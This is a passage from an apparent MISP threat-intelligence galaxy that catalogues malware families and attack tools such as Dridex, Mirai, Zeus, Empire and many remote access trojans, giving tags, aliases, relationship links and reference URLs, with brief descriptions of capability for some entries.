- similar: misp-galaxy:malpedia="Houdini" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="H-worm" with estimative-language:likelihood-probability="likely"

Table 24380. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/

Backdoor.Dripion

Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.

The tag is: *misp-galaxy:tool="Backdoor.Dripion"*

Backdoor.Dripion is also known as:

- Dripion

Table 24381. Table References

Links
http://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan

Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.

The tag is: *misp-galaxy:tool="Adwind"*

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- JSocket
- jRat
- Backdoor:Java/Adwind

View relationships graph

Adwind has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 24382. Table References

Links
https://securelist.com/blog/research/73660/adwind-faq/

Bedep

The tag is: *misp-galaxy:tool="Bedep"*

View relationships graph

Bedep has relationships with:

- similar: misp-galaxy:malpedia="Bedep" with estimative-language:likelihood-probability="likely"

Cromptui

The tag is: *misp-galaxy:tool="Cromptui"*

Dridex

Dridex is a strain of banking malware that leverages macros in Microsoft Office to infect systems. Once a computer has been infected, Dridex attackers can steal banking credentials and other personal information on the system to gain access to the financial records of a user.

The tag is: *misp-galaxy:tool="Dridex"*

Dridex is also known as:

- Cridex

View relationships graph

Dridex has relationships with:

- similar: misp-galaxy:banker="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Feodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"

Table 24383. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf

Fareit

The tag is: *misp-galaxy:tool="Fareit"*

View relationships graph

Fareit has relationships with:

- similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Hancitor" with estimative-language:likelihood-probability="likely"

Gafgyt

The tag is: *misp-galaxy:tool="Gafgyt"*

View relationships graph

Gafgyt has relationships with:

- similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Gafgyt" with estimative-language:likelihood-probability="likely"

Gamarue

The tag is: *misp-galaxy:tool="Gamarue"*

Gamarue is also known as:

- Andromeda

View relationships graph

Gamarue has relationships with:

- similar: misp-galaxy:malpedia="Andromeda" with estimative-language:likelihood-probability="likely"

Table 24384. Table References

Links
https://blog.gdatasoftware.com/2015/03/24274-the-andromeda-gamarue-botnet-is-on-the-rise-again

Necurs

The Necurs botnet is a distributor of many pieces of malware, most notably Locky.

The tag is: *misp-galaxy:tool="Necurs"*

View relationships graph

Necurs has relationships with:

- similar: misp-galaxy:malpedia="Necurs" with estimative-language:likelihood-probability="likely"

Table 24385. Table References

Links
https://en.wikipedia.org/wiki/Necurs_botnet
https://www.bleepingcomputer.com/news/security/worlds-largest-spam-botnet-finds-a-new-way-to-avoid-detection-for-now/

Palevo

The tag is: *misp-galaxy:tool="Palevo"*

Akbot

The tag is: *misp-galaxy:tool="Akbot"*

Akbot is also known as:

- Qbot
- Qakbot
- PinkSlipBot

View relationships graph

Akbot has relationships with:

- similar: misp-galaxy:banker="Qakbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Akbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"

Table 24386. Table References

Links
https://en.wikipedia.org/wiki/Akbot

Upatre

Upatre is a Trojan downloader that is used to set up other threats on the victim's PC. Upatre has been used recently in several high profile Trojan attacks involving the Gameover Trojan.

The tag is: *misp-galaxy:tool="Upatre"*

View relationships graph

Upatre has relationships with:

- similar: misp-galaxy:malpedia="Upatre" with estimative-language:likelihood-probability="likely"

Vawtrak

Vawtrak is an information stealing malware family that is primarily used to gain unauthorised access to bank accounts through online banking websites.

The tag is: *misp-galaxy:tool="Vawtrak"*

View relationships graph

Vawtrak has relationships with:

- similar: misp-galaxy:banker="Vawtrak" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"

Table 24387. Table References

Links
https://www.sophos.com/medialibrary/PDFs/technical%20papers/sophos-vawtrak-international-crimeware-as-a-service-tpna.pdf

Empire

Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework

The tag is: *misp-galaxy:tool="Empire"*

View relationships graph

Empire has relationships with:

- similar: misp-galaxy:exploit-kit="Empire" with estimative-language:likelihood-probability="likely"

Table 24388. Table References

Links
https://github.com/adaptivethreat/Empire

Explosive

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.

The tag is: *misp-galaxy:tool="Explosive"*

Table 24389. Table References

Links
https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf

KeyBoy

The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data

The tag is: *misp-galaxy:tool="KeyBoy"*

View relationships graph

KeyBoy has relationships with:

- similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Yahoyah" with estimative-language:likelihood-probability="likely"

Table 24390. Table References

Links
https://citizenlab.org/2016/11/parliament-keyboy/
https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india

Yahoyah

The attacks in this case are associated with a campaign called Tropic Trooper, which has been active since at least 2011 and is known for heavily targeting Taiwan. One of the attacks used their known Yahoyah malware...

The tag is: *misp-galaxy:tool="Yahoyah"*

Yahoyah is also known as:

- W32/Seeav

View relationships graph

Yahoyah has relationships with:

- similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="KeyBoy" with estimative-language:likelihood-probability="likely"

Table 24391. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Tartine

Delphi RAT used by Sofacy.

The tag is: *misp-galaxy:tool="Tartine"*

Mirai

Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.

The tag is: *misp-galaxy:tool="Mirai"*

Mirai is also known as:

- Linux/Mirai

View relationships graph

Mirai has relationships with:

- similar: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Mirai (ELF)" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 24392. Table References

Links
https://en.wikipedia.org/wiki/Mirai_(malware)

Masuta

IoT malware based on Mirai but slightly improved.

The tag is: *misp-galaxy:tool="Masuta"*

Masuta is also known as:

- PureMasuta

View relationships graph

Masuta has relationships with:

- similar: misp-galaxy:malpedia="Masuta" with estimative-language:likelihood-probability="almost-certain"

Table 24393. Table References

Links

https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7

BASHLITE

The tag is: *misp-galaxy:tool="BASHLITE"*

View relationships graph

BASHLITE has relationships with:

- similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="almost-certain"

BlackEnergy

BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.

The tag is: *misp-galaxy:tool="BlackEnergy"*

View relationships graph

BlackEnergy has relationships with:

- similar: misp-galaxy:mitre-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"

Table 24394. Table References

Links
https://www.virusbulletin.com/conference/vb2014/abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland/

Trojan.Seaduke

Trojan.Seaduke is a Trojan horse that opens a back door on the compromised computer. It may also

download potentially malicious files.

The tag is: *misp-galaxy:tool="Trojan.Seaduke"*

Trojan.Seaduke is also known as:

- Seaduke

Table 24395. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-031915-4935-99

Backdoor.Tinybaron

The tag is: *misp-galaxy:tool="Backdoor.Tinybaron"*

Incognito RAT

The tag is: *misp-galaxy:tool="Incognito RAT"*

DownRage

The tag is: *misp-galaxy:tool="DownRage"*

DownRage is also known as:

- Carberplike

Table 24396. Table References

Links
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
https://twitter.com/Timo_Steffens/status/814781584536719360

GeminiDuke

GeminiDuke is malware that was used by APT29 from 2009 to 2012.

The tag is: *misp-galaxy:tool="GeminiDuke"*

View relationships graph

GeminiDuke has relationships with:

- similar: misp-galaxy:mitre-malware="GeminiDuke - S0049" with estimative-language:likelihood-probability="likely"

Table 24397. Table References

Links
https://attack.mitre.org/wiki/Software/S0049

Zeus

Trojan.Zbot, also called Zeus, is a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet. The Trojan is created using a Trojan-building toolkit.

The tag is: *misp-galaxy:tool="Zeus"*

Zeus is also known as:

- Trojan.Zbot
- Zbot

View relationships graph

Zeus has relationships with:

- similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 24398. Table References

Links
https://en.wikipedia.org/wiki/Zeus_(malware)
https://www.symantec.com/security_response/writeup.jsp?docid=2010-011016-3514-99

Shifu

Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.

The tag is: *misp-galaxy:tool="Shifu"*

View relationships graph

Shifu has relationships with:

- similar: misp-galaxy:malpedia="Shifu" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Shiz" with estimative-language:likelihood-probability="likely"

Table 24399. Table References

Links

http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/

Shiz

The new variant of the Shiz Trojan malware targets mission-critical enterprise resource planning (ERP) applications — particularly SAP users.

The tag is: *misp-galaxy:tool="Shiz"*

View relationships graph

Shiz has relationships with:

- similar: misp-galaxy:tool="Shifu" with estimative-language:likelihood-probability="likely"

Table 24400. Table References

Links
https://securityintelligence.com/tag/shiz-trojan-malware/

MM Core

Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.

The tag is: *misp-galaxy:tool="MM Core"*

MM Core is also known as:

- MM Core backdoor
- BigBoss
- SillyGoose
- BaneChant
- StrangeLove

View relationships graph

MM Core has relationships with:

- similar: misp-galaxy:malpedia="MM Core" with estimative-language:likelihood-probability="likely"

Table 24401. Table References

Links

https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose

Shamoon

Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]

The tag is: *misp-galaxy:tool="Shamoon"*

Shamoon is also known as:

- DistTrack

View relationships graph

Shamoon has relationships with:

- similar: misp-galaxy:mitre-malware="Shamoon - S0140" with estimative-language:likelihood-probability="likely"

Table 24402. Table References

Links
https://en.wikipedia.org/wiki/Shamoon
https://securityaffairs.co/wordpress/78867/breaking-news/shamoon-virustotal.html

GhostAdmin

According to MalwareHunterTeam and other researchers that have looked at the malware's source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago.

The tag is: *misp-galaxy:tool="GhostAdmin"*

View relationships graph

GhostAdmin has relationships with:

- similar: misp-galaxy:malpedia="GhostAdmin" with estimative-language:likelihood-probability="likely"

Table 24403. Table References

Links

https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/

EyePyramid Malware

Two Italians referred to as the “Occhionero brothers” have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called “EyePyramid”, which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)

The tag is: *misp-galaxy:tool="EyePyramid Malware"*

Table 24404. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-inner-workings-eyepyramid/

LuminosityLink

LuminosityLink is a malware family costing $40 that purports to be a system administration utility

The tag is: *misp-galaxy:tool="LuminosityLink"*

Table 24405. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/

Flokibot

Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that makes it more interesting.

The tag is: *misp-galaxy:tool="Flokibot"*

Flokibot is also known as:

- Floki Bot
- Floki

View relationships graph

Flokibot has relationships with:

- similar: misp-galaxy:malpedia="FlokiBot" with estimative-language:likelihood-probability="almost-certain"

Table 24406. Table References

Links
https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/
https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/

ZeroT

Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help (.chm) as one of the initial droppers delivered in spear-phishing emails.

The tag is: *misp-galaxy:tool="ZeroT"*

View relationships graph

ZeroT has relationships with:

- similar: misp-galaxy:mitre-malware="ZeroT - S0230" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"

Table 24407. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

StreamEx

Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.

The tag is: *misp-galaxy:tool="StreamEx"*

View relationships graph

StreamEx has relationships with:

- similar: misp-galaxy:mitre-malware="StreamEx - S0142" with estimative-language:likelihood-probability="likely"

Table 24408. Table References

Links
https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar

adzok

Remote Access Trojan

The tag is: *misp-galaxy:tool="adzok"*

View relationships graph

adzok has relationships with:

- similar: misp-galaxy:malpedia="Adzok" with estimative-language:likelihood-probability="almost-certain"

Table 24409. Table References

Links
https://github.com/kevthehermit/RATDecoders

albertino

Remote Access Trojan

The tag is: *misp-galaxy:tool="albertino"*

Table 24410. Table References

Links
https://github.com/kevthehermit/RATDecoders

arcom

Remote Access Trojan

The tag is: *misp-galaxy:tool="arcom"*

Table 24411. Table References

Links
https://github.com/kevthehermit/RATDecoders

blacknix

Remote Access Trojan

The tag is: *misp-galaxy:tool="blacknix"*

Table 24412. Table References

Links
https://github.com/kevthehermit/RATDecoders

bluebanana

Remote Access Trojan

The tag is: *misp-galaxy:tool="bluebanana"*

Table 24413. Table References

Links
https://github.com/kevthehermit/RATDecoders

bozok

Remote Access Trojan

The tag is: *misp-galaxy:tool="bozok"*

View relationships graph

bozok has relationships with:

- similar: misp-galaxy:malpedia="Bozok" with estimative-language:likelihood-probability="almost-certain"

Table 24414. Table References

Links
https://github.com/kevthehermit/RATDecoders

clientmesh

Remote Access Trojan

The tag is: *misp-galaxy:tool="clientmesh"*

Table 24415. Table References

Links
https://github.com/kevthehermit/RATDecoders

cybergate

Remote Access Trojan

The tag is: *misp-galaxy:tool="cybergate"*

View relationships graph

cybergate has relationships with:

- similar: misp-galaxy:malpedia="CyberGate" with estimative-language:likelihood-probability="almost-certain"

Table 24416. Table References

Links
https://github.com/kevthehermit/RATDecoders

darkcomet

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkcomet"*

View relationships graph

darkcomet has relationships with:

- used-by: misp-galaxy:threat-actor="APT-C-27" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="almost-certain"

Table 24417. Table References

Links
https://github.com/kevthehermit/RATDecoders

darkrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkrat"*

View relationships graph

darkrat has relationships with:

- similar: misp-galaxy:malpedia="DarkRat" with estimative-language:likelihood-probability="almost-certain"

Table 24418. Table References

Links
https://github.com/kevthehermit/RATDecoders

gh0st

Remote Access Trojan

The tag is: *misp-galaxy:tool="gh0st"*

View relationships graph

gh0st has relationships with:

- similar: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="likely"

Table 24419. Table References

Links
https://github.com/kevthehermit/RATDecoders

greame

Remote Access Trojan

The tag is: *misp-galaxy:tool="greame"*

Table 24420. Table References

Links
https://github.com/kevthehermit/RATDecoders

hawkeye

Remote Access Trojan

The tag is: *misp-galaxy:tool="hawkeye"*

Table 24421. Table References

Links
https://github.com/kevthehermit/RATDecoders

javadropper

Remote Access Trojan

The tag is: *misp-galaxy:tool="javadropper"*

Table 24422. Table References

Links
https://github.com/kevthehermit/RATDecoders

lostdoor

Remote Access Trojan

The tag is: *misp-galaxy:tool="lostdoor"*

Table 24423. Table References

Links
https://github.com/kevthehermit/RATDecoders

luxnet

Remote Access Trojan

The tag is: *misp-galaxy:tool="luxnet"*

Table 24424. Table References

Links
https://github.com/kevthehermit/RATDecoders

pandora

Remote Access Trojan

The tag is: *misp-galaxy:tool="pandora"*

View relationships graph

pandora has relationships with:

- similar: misp-galaxy:malpedia="Pandora" with estimative-language:likelihood-probability="almost-certain"

Table 24425. Table References

Links
https://github.com/kevthehermit/RATDecoders

poisonivy

Remote Access Trojan

The tag is: *misp-galaxy:tool="poisonivy"*

View relationships graph

poisonivy has relationships with:

- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"

Table 24426. Table References

Links
https://github.com/kevthehermit/RATDecoders

predatorpain

Remote Access Trojan

The tag is: *misp-galaxy:tool="predatorpain"*

Table 24427. Table References

Links
https://github.com/kevthehermit/RATDecoders

punisher

Remote Access Trojan

The tag is: *misp-galaxy:tool="punisher"*

Table 24428. Table References

Links
https://github.com/kevthehermit/RATDecoders

qrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="qrat"*

View relationships graph

qrat has relationships with:

- similar: misp-galaxy:rat="Qarallax" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="QRat" with estimative-language:likelihood-probability="almost-certain"

Table 24429. Table References

Links
https://github.com/kevthehermit/RATDecoders

shadowtech

Remote Access Trojan

The tag is: *misp-galaxy:tool="shadowtech"*

Table 24430. Table References

Links
https://github.com/kevthehermit/RATDecoders

smallnet

Remote Access Trojan

The tag is: *misp-galaxy:tool="smallnet"*

Table 24431. Table References

Links
https://github.com/kevthehermit/RATDecoders

spygate

Remote Access Trojan

The tag is: *misp-galaxy:tool="spygate"*

Table 24432. Table References

Links
https://github.com/kevthehermit/RATDecoders

template

Remote Access Trojan

The tag is: *misp-galaxy:tool="template"*

Table 24433. Table References

Links
https://github.com/kevthehermit/RATDecoders

tapaoux

Remote Access Trojan

The tag is: *misp-galaxy:tool="tapaoux"*

View relationships graph

tapaoux has relationships with:

- similar: misp-galaxy:malpedia="Tapaoux" with estimative-language:likelihood-probability="almost-certain"

Table 24434. Table References

Links
https://github.com/kevthehermit/RATDecoders

vantom

Remote Access Trojan

The tag is: *misp-galaxy:tool="vantom"*

Table 24435. Table References

Links
https://github.com/kevthehermit/RATDecoders

virusrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="virusrat"*

Table 24436. Table References

Links

https://github.com/kevthehermit/RATDecoders

xena

Remote Access Trojan

The tag is: *misp-galaxy:tool="xena"*

Table 24437. Table References

Links
https://github.com/kevthehermit/RATDecoders

xtreme

Remote Access Trojan

The tag is: *misp-galaxy:tool="xtreme"*

Table 24438. Table References

Links
https://github.com/kevthehermit/RATDecoders

darkddoser

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkddoser"*

Table 24439. Table References

Links
https://github.com/kevthehermit/RATDecoders

jspy

Remote Access Trojan

The tag is: *misp-galaxy:tool="jspy"*

View relationships graph

jspy has relationships with:

- similar: misp-galaxy:malpedia="jSpy" with estimative-language:likelihood-probability="almost-certain"

Table 24440. Table References

Links
https://github.com/kevthehermit/RATDecoders

xrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="xrat"*

View relationships graph

xrat has relationships with:

- similar: misp-galaxy:malpedia="XRat" with estimative-language:likelihood-probability="almost-certain"
- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="xRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="XRat" with estimative-language:likelihood-probability="likely"

Table 24441. Table References

Links
https://github.com/kevthehermit/RATDecoders

PupyRAT

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.

The tag is: *misp-galaxy:tool="PupyRAT"*

Table 24442. Table References

Links
https://github.com/n1nj4sec/pupy

ELF_IMEIJ

Linux Arm malware spread via RFIs in cgi-bin scripts. This backdoor executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.

The tag is: *misp-galaxy:tool="ELF_IMEIJ"*

Table 24443. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/elf_imeij.a

KHRAT

KHRAT is a small backdoor that has three exports (functions), namely, K1, K2, and K3. K1 checks if the current user is an administrator. If not, it uninstalls itself by calling the K2 function.

The tag is: *misp-galaxy:tool="KHRAT"*

View relationships graph

KHRAT has relationships with:

- similar: misp-galaxy:malpedia="KHRAT" with estimative-language:likelihood-probability="likely"

Table 24444. Table References

Links
https://blogs.forcepoint.com/security-labs/trojanized-adobe-installer-used-install-dragonok%E2%80%99s-new-custom-backdoor

Trochilus

The Trochilus RAT is a threatening RAT (Remote Access Trojan) that may evade many anti-virus programs. The Trochilus RAT is currently being used as part of an extended threat campaign in South East Asia. The first appearance of the Trochilus RAT in this campaign, which has been active since August of 2015, was first detected in the summer of 2015. The Trochilus RAT is currently being used against civil society organizations and government computers in the South East Asia region, particularly in attacks directed towards the government of Myanmar.

The tag is: *misp-galaxy:tool="Trochilus"*

View relationships graph

Trochilus has relationships with:

- similar: misp-galaxy:rat="Trochilus" with estimative-language:likelihood-probability="likely"

Table 24445. Table References

Links
http://www.enigmasoftware.com/trochilusrat-removal/

MoonWind

The MoonWind sample used for this analysis was compiled with a Chinese compiler known as

BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan,

The tag is: *misp-galaxy:tool="MoonWind"*

View relationships graph

MoonWind has relationships with:

- similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"

Table 24446. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

Chrysaor

Chrysaor is spyware believed to be created by NSO Group Technologies, specializing in the creation and sale of software and infrastructure for targeted attacks. Chrysaor is believed to be related to the Pegasus spyware that was first identified on iOS and analyzed by Citizen Lab and Lookout.

The tag is: *misp-galaxy:tool="Chrysaor"*

Chrysaor is also known as:

- Pegasus
- Pegasus spyware

View relationships graph

Chrysaor has relationships with:

- similar: misp-galaxy:mitre-malware="Pegasus for iOS - S0289" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Pegasus for Android - S0316" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"

Table 24447. Table References

Links
https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html

Sathurbot

The trojan serves as a backdoor. It can be controlled remotely.

The tag is: *misp-galaxy:tool="Sathurbot"*

View relationships graph

Sathurbot has relationships with:

- similar: misp-galaxy:malpedia="Sathurbot" with estimative-language:likelihood-probability="likely"

Table 24448. Table References

Links
http://virusradar.com/en/Win32_Sathurbot.A/description
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/

AURIGA

The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: *misp-galaxy:tool="AURIGA"*

View relationships graph

AURIGA has relationships with:

- similar: misp-galaxy:malpedia="Auriga" with estimative-language:likelihood-probability="almost-certain"

Table 24449. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

BANGAT

The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: *misp-galaxy:tool="BANGAT"*

View relationships graph

BANGAT has relationships with:

- similar: misp-galaxy:malpedia="bangat" with estimative-language:likelihood-probability="almost-certain"

Table 24450. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

BISCUIT

BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).

The tag is: *misp-galaxy:tool="BISCUIT"*

View relationships graph

BISCUIT has relationships with:

- similar: misp-galaxy:mitre-malware="BISCUIT - S0017" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Biscuit" with estimative-language:likelihood-probability="almost-certain"

Table 24451. Table References

Links
